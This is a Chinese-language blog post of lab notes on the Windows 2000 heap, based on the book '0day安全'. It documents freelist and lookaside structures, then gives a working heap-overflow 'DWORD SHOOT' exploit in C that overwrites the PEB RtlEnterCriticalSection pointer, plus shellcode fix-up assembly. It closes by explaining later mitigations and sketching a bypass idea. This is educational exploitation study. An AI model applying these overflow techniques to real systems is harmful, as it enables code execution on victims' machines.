重读《0day安全》(二)NT5 堆、DWORD SHOOT 和第一代堆保护

4647 字
23 分钟
重读《0day安全》(二)NT5 堆、DWORD SHOOT 和第一代堆保护
这篇文章也有English版。

《重读〈0day安全〉》系列的第二篇,是我 2020 年跟着《0day安全:软件漏洞分析技术(第2版)》(failwest 等著)做实验时的笔记,实验和代码来自这本书,内存观察是我自己调试记下的。2026 年整理时改了几处错误,末尾加了”今天再看”。

Windows的堆,从来都是一个乱糟糟的地方,管理方法也非常奇怪

声明:实验环境为 Windows 2000

堆的介绍#

与栈的区别#

  • 堆是由程序员使用malloc等函数向操作系统申请的一块内存空间,它能否成功与操作系统的状态有极大的关系,与管理整齐的栈不同,它的管理以及分配算法都是非常奇特的
  • 堆在释放时由程序员使用free或delete释放,而栈是系统自动释放的
  • 堆的地址范围变化很大,而栈的地址比较固定,在 2000/XP 上主线程的栈一般就在0x0012XXXX
  • 堆的地址由低向高移动,栈的地址由高向低移动

堆的安全#

  • 堆是杂乱无章的,所以它的利用相对于栈会困难很多,而堆的管理微软从未公开,研究有一定困难
  • 在Windows2000 - Windows XP SP1,堆管理未考虑安全因素,容易利用
  • 在Windows XP SP2 - Windows 2003,加入了块首的cookie,指针验证等
  • Windows Vista - Windows 7,堆管理的安全,稳定和效率都改变巨大

堆的数据结构和管理策略#

两种堆结构#

  • 堆块:堆区的内存按不同大小组织成块,以堆块为单位进行标识。
    • 块首:本块的大小,是否占用
    • 块身:数据区
  • 堆表:位于堆区的起始位置,可索引堆区的所有重要信息,包括堆块的大小,位置,是否占用。堆表往往用不止一种数据结构来表示。
  • Windows中,占用态的堆块只有占用它的程序索引,堆表只索引空闲态的堆块。
  • Windows中重要的堆表:
    • 空闲双向链表:(Freelist)(空表)
      • 空表包含128项,第二项freelist[1]标识8字节的空堆空间,之后每项逐个递增8字节
      • 空闲堆块大小(包含堆首) = 索引项 * 8(字节)
      • freelist[0]标识了所有大小大于1024字节的堆块(小于等于512KB),它们按从小到大的顺序依次升序排列
    • 快速单向链表(Lookaside)(快表)
      • 快表包含128条数据,组织结构与空表类似,但是单链表
      • 总被初始化为空,每条快表最多4个节点
      • 每个节点都被初始化为已占用,所以不会发生堆块合并现象

管理策略#

  • 堆块分配
    • 零号空表分配:按照大小升序链着大小不同的空闲块,从free[0]反向查找最后一个块,再正向搜索最小能够满足要求的空闲堆块进行分配
    • 普通空表分配:寻找最优空闲空间分配,其次找次优
    • 快表分配:寻找大小匹配的表,从堆表卸下,返回一个指向堆块的指针给程序
    • 当空表无法找到最优堆块时,一个稍大些的块会被用于分配,此为次优分配,会先从大块中按照请求的大小精确地割出一块进行分配,然后给剩下的部分重新标注块首,连入空表。
    • 快表只有精确匹配时才会分配,所以不存在以上现象
  • 堆块释放
    • 将堆块状态改为空闲,链入相应的堆表。所有释放的块将链入堆表的末尾,分配的时候也先从堆表末尾拿。
  • 堆块合并
    • 反复申请和释放堆区将产生很多内存碎片,为了合理有效地利用内存将合并一些堆块
    • 这个操作包含两个块从空闲链表中卸下,合并堆块,调整合并后的大块的块首信息,将新块重新链入空闲链表
    • 堆区还将进行内存紧缩(shrink the compact)由RtlCompactHeap执行,将对整个堆进行调整,尽量合并可用的碎片
  • 堆块分配和释放的策略
    • 小块(SIZE<1KB)
      • 分配
        • 首先进行快表分配,其次进行普通空表分配
        • 若失败,使用堆缓存(heap cache)分配
        • 若堆缓存分配失败,内存紧缩后尝试分配
        • 若无法分配,返回NULL
      • 释放
        • 优先链入快表(只能链入4个空闲块)
        • 若快表满,链入相应空表
    • 大块(1KB<=SIZE<512KB)
      • 分配
        • 使用堆缓存分配
        • 若堆缓存分配失败,使用free[0]中的大块进行分配
      • 释放
        • 优先将它放入堆缓存
        • 若堆缓存满,将链入freelists[0]
    • 巨块(SIZE>=512KB)
      • 分配:虚分配(并非从堆区分配)
      • 释放:直接释放,无堆表操作

实践#

注意

血的教训:无论是空表还是快表,它Blink/Flink指针指向的永远是下/上一个节点的Blink/Flink

测试空表#

代码#

#include <windows.h>
void main()
{
HLOCAL h1, h2, h3, h4, h5, h6;
HANDLE hp;
hp = HeapCreate(0, 0x1000, 0x10000);
__asm int 3;
h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 3);
h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 5);
h3 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 6);
h4 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 8);
h5 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 19);
h6 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 24);
//free block and prevent coaleses
HeapFree(hp, 0, h1); // free to freelist[2]
HeapFree(hp, 0, h3); // free to freelist[2]
HeapFree(hp, 0, h5); // free to freelist[4]
HeapFree(hp, 0, h4); // coalese h3 h4 h5 link the large block to freelist[8]
}

观察#

INT异常调起调试器,未运行#
  • HeapCreate()创建堆区后,将堆区指针交给EAX,观察到此时地址为0x360000
  • 查看内存区域0x360000,依次向后的信息是(抄的,反正我也不知道这几个结构具体多大)段表索引(SegmentList),虚表索引(VirtualAllocationList),空表使用标识(freelist usage bitmap)和空表索引区
  • 在偏移0x178处找到了空表索引,其内容是0x00360688,说明freelist[0]指向了偏移为0x688的地方,我们来康康这个地方存了什么
  • 这个地方存了0x00360178,妙啊,指向了freelist[0],绕了一圈指向了自己,而这个freelist[0]看来指向的就是唯一一个空闲的堆区,一般称为“尾块”
  • 根据堆块的结构(在下面嘞)易得,实际这个堆块开始于0x00360680,看起来堆块指针越过了堆块块首,直接指向了数据区
  • 0x1-0x2字节是自身大小,此时这个值是0x0130,说明这个堆块的大小是0x130个堆单位(每单位8字节)
  • 0x3-0x4字节是前一个堆块大小,这个值是0x08(???不是说好了唯一???)
  • 0x5字节是索引,此时为0
  • 0x6字节是Flag,此时这是1
  • 0x7是保留字节,是0
  • 0x8字节是标签索引(调试态),不知道干啥的,是0
  • 0x9-0xC(空堆块专属)字节是前一个空堆块的地址,是0x00360178
  • 0xD-0x10(空堆块专属)字节是后一个空堆块的地址,同样是0x00360178
运行六次分配#
  • 0x00360680-0x00360687为h1块首,0x00360688-0x0036068F是8个字节的块身,内容是00 00 00 00 78 01 36 00
  • 0x00360690-0x00360697为h2块首,0x00360698-0x0036069F是8个字节的块身,内容是00 00 00 00 00 01 36 00
  • 0x003606A0-0x003606A7为h3块首,0x003606A8-0x003606AF是8个字节的块身,内容是00 00 00 00 00 00 36 00
  • 0x003606B0-0x003606B7为h4块首,0x003606B8-0x003606BF是8个字节的块身,内容是00 00 00 00 00 00 00 00
  • 0x003606C0-0x003606C7为h5块首,0x003606C8-0x003606DF是24个字节的块身,内容是00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  • 0x003606E0-0x003606E7为h6块首,0x003606E8-0x003606FF是24个字节的块身,内容是00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
释放堆#
  • 第一次释放的是h1,带块首一共16字节,所以连接到了freeList[2],也就是0x188的位置,此时内容为0x00360688
  • 第二次释放的h3同样是16字节,同样连接到了freeList[2],细节不再描述
  • 第三次释放的h5是24字节块身加8字节块首,一共32字节,连接到了freeList[4]
  • 第四次释放时,h3,h4,h5相邻,所以它们合并了,其中h3h4的大小各是2个堆单位,h5则是4个,合并后共计8个堆单位(64字节,含一个块首),按大小 = 索引 * 8放入freeList[8]

结论#

  • 堆表中包含的信息依次是段表索引(SegmentList),虚表索引(VirtualAllocationList),空表使用标识(freelist usage bitmap)和空表索引区
  • 当一个堆刚刚被初始化时,它的堆块状况
    • 只有一个空闲态的大块,这个块被称为“尾块”
    • 之后是快表
    • Freelist[0]指向“尾块”
    • 除了零号空表索引外,区域各项索引都指向自己,这意味着其余所有的空闲链表中都没有空闲块
  • 占用态块首
struct Flag
{
BIT Busy;
BIT ExtraPresent;
BIT FillPattern;
BIT VirtualAlloc;
BIT LastEntry;
BIT FFU1;
BIT FFU2;
BIT NoCoalesce;
}
struct BusyHeapHeadBlock
// 8 Byte Head
{
USHORT SelfSize;
USHORT PreviousChunkSize;
UCHAR SegmentIndex;
struct Flag Flags;
UCHAR UnusedBytes;
UCHAR TagIndex_Debug;
}
// Data After...
  • 空闲态块首
struct Flag
{
BIT Busy;
BIT ExtraPresent;
BIT FillPattern;
BIT VirtualAlloc;
BIT LastEntry;
BIT FFU1;
BIT FFU2;
BIT NoCoalesce;
}
struct FreeHeapHeadBlock
// 16 Byte Head
{
USHORT SelfSize;
USHORT PreviousChunkSize;
UCHAR SegmentIndex;
struct Flag Flags;
UCHAR UnusedBytes;
UCHAR TagIndex_Debug;
PVOID FlinkInFreelist; // 下一个
PVOID BlinkInFreelist; // 上一个
}
// Empty Data After...
  • 堆块的分配
    • 堆块的大小包括了块首,所以申请32字节将会分配40字节
    • 堆块的单位是8字节,不足8字节的按照8字节分配,所以最少实际分配为16字节
    • 初始状态下,快表和空表都为空,不存在精确分配,请求将使用次优块进行分配
    • 由于次优分配的发生,分配函数将从尾块中切走一些小块,修改尾块块首的size,最后将freelist[0]指向新的尾块

测试快表#

代码#

#include <stdio.h>
#include <windows.h>
void main()
{
HLOCAL h1, h2, h3, h4;
HANDLE hp;
hp = HeapCreate(0, 0, 0);
__asm int 3
h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 8);
h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 8);
h3 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 16);
h4 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 24);
HeapFree(hp, 0, h1);
HeapFree(hp, 0, h2);
HeapFree(hp, 0, h3);
HeapFree(hp, 0, h4);
h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 16);
HeapFree(hp, 0, h2);
}

结论#

  • 块首标识位为0x01
  • 只存指向下一堆块的指针,不存在指向前一堆块的指针
  • 偏移0x178处的freeList[0]的地址变为了0x00361E90,原本的0x00360688被快表霸占了
  • 快表从0x688开始,每个结构共0x30个字节,前四个字节的内容是快表单链表
  • 虽然0Day安全书中写道,8字节的堆区被插入lookaside[1],但是我似乎觉得,0x688处的才是lookaside[0],0x6B8处的才是lookaside[1],而0x6E8处的可以被称为lookaside[2],它存放的堆块带上块首的大小一共16个字节

堆溢出的利用#

看懂了堆块是怎么链来链去的,下一步就是让它替我们写内存。

声明:实验环境同样为 Windows 2000

链表的拆卸#

理论#

  • 堆块分配:将堆块从空表中“卸下”
  • 堆块释放:把堆块链入空表
  • 堆块合并:把若干个堆块从空表中“卸下”,修改块首信息(大小),之后把更新后的新块“链入”空表

利用堆溢出:构造数据溢出下一个堆块的块首,改写块首中的前向指针和后向指针,然后在分配释放合并等操作发生时伺机获得一次向内存任意地址写入任意数据的机会

  • 这种向任意位置写入任意数据的机会称为DWORD SHOOT/ARBITRARY DWORD RESET
目标载荷改写后的结果
栈帧中的函数返回地址shellcode起始地址函数返回时,执行shellcode
栈帧中的S.E.H句柄shellcode起始地址异常发生时,执行shellcode
重要函数调用地址shellcode起始地址函数调用时,执行shellcode

实践#

代码#
#include <windows.h>
int main()
{
HLOCAL h1, h2,h3,h4,h5,h6;
HANDLE hp;
hp = HeapCreate(0,0x1000,0x10000);
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h5 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h6 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
_asm int 3//used to break the process
//free the odd blocks to prevent coalesing
HeapFree(hp,0,h1);
HeapFree(hp,0,h3);
HeapFree(hp,0,h5); //now freelist[2] got 3 entries
//will allocate from freelist[2] which means unlink the last entry
//(h5)
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
return 0;
}
发现#
  • 在h1申请到h5空间的时候,如果此时h5已经被溢出覆盖Blink和Flink,那么将会把[Flink]写入[Blink]

拆卸时执行的就是 node->blink->flink = node->flink,Flink 正好在节点开头,所以这一句等于”把 Flink 的值写到 Blink 指向的地址”,两个指针都是我们写的。

代码植入#

原理#

  • 目标对准ExitProcess调用的PEB同步函数指针RtlEnterCriticalSection,在程序内堆溢出引发异常后执行shellcode

代码示例1(观察异常)#

#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
// 200 字节堆区结束,以下是溢出数据
"\x16\x01\x1A\x00\x00\x10\x00\x00" // 下一个堆块的块首,保留
"\x88\x06\x36\x00" // ShellCode起始地址
"\x20\xF0\xFD\x7F"; // PEB同步函数指针位置
int main()
{
HLOCAL h1 = 0, h2 = 0;
HANDLE hp;
hp = HeapCreate(0,0x1000, 0x10000);
h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 200);
__asm int 3 //used to break process
memcpy(h1, shellcode, 0x200); //overflow,0x200=512
h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 8);
return 0;
}
心得#
  • 就差ShellCode内容了

代码示例2(完整)#

有了异常这一步,剩下的就是把一段真正能弹窗的 shellcode 放进那 200 字节里。溢出数据的尾巴不变,仍然是”下一个堆块块首 + shellcode 起始地址 + PEB 同步函数指针位置”这三段。shellcode 本体就用第一篇里那段动态找 API 的弹窗代码,这里为了篇幅不再整段贴出来。

直接套进去会碰到一个坑:DWORD SHOOT 把 PEB 里的 RtlEnterCriticalSection 指针改成了 shellcode 地址,可 ExitProcess 还会去调这个指针,等于 shellcode 刚跑完就又被当成一个关键区函数调用了一遍,程序崩掉。所以 shellcode 开头要先把这个指针修回它原来的值,再接弹窗部分:

; 修复被 DWORD SHOOT 打坏的 PEB 函数指针
B8 20F0FD7F mov eax, 0x7FFDF020 ; PEB 里 RtlEnterCriticalSection 指针的位置
BB 4CAAF877 mov ebx, 0x77F8AA4C ; 该函数原本的地址(随系统版本变)
89 18 mov [eax], ebx ; 把指针改回去
; ……后面接第一篇那段 弹窗 shellcode……

补上这三条指令之后,Win2000 下的这个堆溢出就能稳定弹出 MessageBox 了。

注意这里所有地址(0x7FFDF020、0x77F8AA4C、shellcode 起始地址 0x00360688)都是写死的,换一个系统版本甚至换一次运行就不对了,这也正是下面 XP SP2 之后那些保护要针对的点。


保护下的堆#

Win2000 的堆几乎没有防护,到了 XP SP2 以后微软补了一连串机制,上面那套玩法就一个个失效了。

PEB 随机化#

微软在Windows XP SP2之后不再使用固定的 PEB 基址0x7FFDF000,而是使用具有一定随机性的 PEB 基址。这主要影响了对 PEB 中函数指针的攻击。在 DWORD SHOOT 的时候,PEB 中的函数指针是绝佳的目标,基址一动,上面那个写死的0x7FFDF020就不好找了。

微软改写了操作双向链表的代码,在卸载 free list 中的堆块时更加小心。SP2 之前的链表拆卸操作类似这样:

int remove(ListNode * node)
{
node -> blink -> flink = node -> flink;
node -> flink -> blink = node -> blink;
return 0;
}

这正是我们做 DWORD SHOOT 的入口。SP2 在删除前先验证前向、后向指针的完整性:

int safe_remove(ListNode * node)
{
if((node->blink->flink == node) && (node->flink->blink == node))
{
node -> blink -> flink = node -> flink;
node -> flink -> blink = node -> blink;
return 1;
}
else
{
// 链表指针被破坏,进入异常
return 0;
}
}

伪造的 Flink/Blink 过不了这个”你指我、我指你”的互相验证,unlink 这条路就基本断了。

和栈里的 security cookie 类似,微软在堆块块首里也放了一个 1 字节的 cookie,用来检测块首是否被溢出改动过。

元数据加密#

从Windows Vista开始,块首里的一些重要数据(大小、Flink、Blink 等)在保存时会和一个 4 字节的随机数异或,用的时候再异或回来。不知道这个随机数,就没法直接伪造出有意义的块首,这也让上面那种改块首的攻击更难了。

换个思路:chunk 重设大小#

SafeUnlink 只在”卸下”堆块时校验双链表,“插入”的时候并不校验。所以一个思路是制造一次堆块插入:释放后插入空表,或者分配时剩余空间被切下来插入空表。插入新 chunk 时执行的是:

  • 新chunk->Blink = 旧chunk->Flink->Blink
  • 旧chunk->Flink->Blink->Flink = 新chunk
  • 旧chunk->Flink->Blink = 新chunk

只要能控制旧 chunk 的 Flink(覆盖成一个地址)和 Blink(覆盖成一个值),第二条就又是一次 DWORD SHOOT 了。这部分我当年没写完整的利用代码,思路记在这里。


今天再看#

上面这些实验全是 Windows 2000 的堆(NT5 堆),今天的 Windows 已经基本看不到了。

XP SP2 到 Vista 那一串保护(safe unlink、heap cookie、元数据加密)把”改块首 + unlink 做 DWORD SHOOT”这条经典路线堵死了。更大的变化是堆的实现换了代。从 Vista 起,系统会按需启用低碎片堆(LFH):它不是单独一个堆,而是把小块(约 16KB 以下)按固定档位成批分配,程序不用自己开,碰上频繁的小分配系统就自动用上。到 Windows 10 2004,又多了一个 Segment Heap,可以用应用清单里的 <heapType>SegmentHeap</heapType> 开启(系统进程和部分现代应用默认就用它)。这两套实现的元数据布局、校验和随机化都和 NT5 堆完全不同,书里这些偏移和结构体一个都对不上了。

所以今天做堆利用,很少再去碰堆自己的元数据。主流思路是堆布局(heap grooming/feng shui):精心安排分配和释放,让一个可控对象恰好落在溢出能够到的位置,然后改的是这个应用层对象里的东西:虚表指针、长度字段、回调函数指针。配合信息泄露先拿到地址,再决定往哪写。换句话说,attack 的目标从”堆管理器的链表”变成了”堆上那些对象”,而堆管理器本身被加固得越来越硬。原理层面,这篇讲的”分配/释放/合并的时机就是下手的时机”到今天依然成立,变的只是下手的具体位置。

文章分享

如果这篇文章对你有帮助,欢迎分享给更多人!

重读《0day安全》(二)NT5 堆、DWORD SHOOT 和第一代堆保护
https://blog.lumysia.net/zh-cn/posts/reread-0day-2-nt5-heap/
作者
Livia
发布于
2020-10-20
许可协议
CC BY-NC 4.0

评论区

文章目录